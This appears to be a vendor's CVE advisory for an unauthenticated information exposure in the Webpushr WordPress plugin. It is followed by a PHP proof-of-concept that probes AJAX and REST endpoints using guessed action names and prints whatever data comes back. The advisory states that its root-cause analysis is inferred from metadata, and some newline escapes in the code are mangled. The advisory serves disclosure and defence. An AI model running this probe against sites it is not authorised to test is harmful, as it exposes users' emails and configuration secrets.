Atomic Edge analysis of CVE-2026-24536 (metadata-based):
The Webpushr WordPress plugin contains an unauthenticated information exposure vulnerability in all versions up to and including 4.38.0. This vulnerability allows remote attackers without authentication to extract sensitive user or configuration data from affected WordPress sites. The CVSS 5.3 score reflects a moderate impact confidentiality issue with no integrity or availability effects.
Atomic Edge research infers the root cause is likely an improperly secured AJAX endpoint or REST API route that returns sensitive data without proper capability checks. The CWE-200 classification indicates the plugin exposes information to unauthorized actors. Without access to the patched code, this conclusion is based on the vulnerability description and common WordPress plugin patterns. The plugin likely registers a callback function via wp_ajax_nopriv_ or a REST route without validate_callback or permission_callback verification.
Exploitation requires sending a crafted HTTP request to a specific WordPress endpoint. Attackers likely target /wp-admin/admin-ajax.php with an action parameter containing a webpushr-specific hook. Alternatively, they may exploit a REST API endpoint at /wp-json/webpushr/v1/. The exact parameter structure is unknown, but attackers would iterate through common data retrieval parameters like get_users, get_settings, config, or data. No authentication or nonce is required for successful exploitation.
The patch in version 4.39.0 likely adds proper capability checks to the vulnerable endpoint. Developers probably implemented current_user_can() checks for administrative capabilities or added proper permission_callback functions for REST routes. The fix may also involve removing the nopriv AJAX hook entirely or restricting data returned to unauthenticated users. Input validation might have been added, but the primary issue appears to be missing authorization.
Successful exploitation exposes sensitive WordPress data to unauthenticated attackers. This could include user email addresses, subscription preferences, notification settings, or plugin configuration secrets. While the CVSS indicates low confidentiality impact, exposed data could facilitate further attacks like phishing campaigns or credential stuffing. The vulnerability does not allow direct privilege escalation or remote code execution based on the available metadata.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24536 - Webpushr <= 4.38.0 - Unauthenticated Information Exposure
<?php
$target_url = 'https://vulnerable-site.com';
// Common AJAX endpoints for WordPress plugins
$endpoints = [
'/wp-admin/admin-ajax.php',
'/wp-json/webpushr/v1/',
'/wp-json/webpushr/v1/settings',
'/wp-json/webpushr/v1/config',
'/wp-json/webpushr/v1/data'
];
// Common action parameters for Webpushr plugin
$actions = [
'webpushr_get_data',
'webpushr_get_config',
'webpushr_get_settings',
'webpushr_get_users',
'webpushr_ajax_handler',
'webpushr_action',
'wp_ajax_nopriv_webpushr'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
foreach ($endpoints as $endpoint) {
$url = $target_url . $endpoint;
if (strpos($endpoint, 'admin-ajax.php') !== false) {
// Test AJAX endpoint with various actions
foreach ($actions as $action) {
$post_data = ['action' => $action];
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 200 && !empty($response)) {
echo "[+] Potential vulnerability found at: $urln";
echo "[+] Action parameter: $actionn";
echo "[+] Response (first 500 chars): " . substr($response, 0, 500) . "nn";
}
}
} else {
// Test REST API endpoints
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 200 && !empty($response)) {
echo "[+] Potential vulnerability found at: $urln";
echo "[+] Response (first 500 chars): " . substr($response, 0, 500) . "nn";
}
}
}
curl_close($ch);
echo "[!] PoC completed. Manual verification required for positive findings.n";
?>
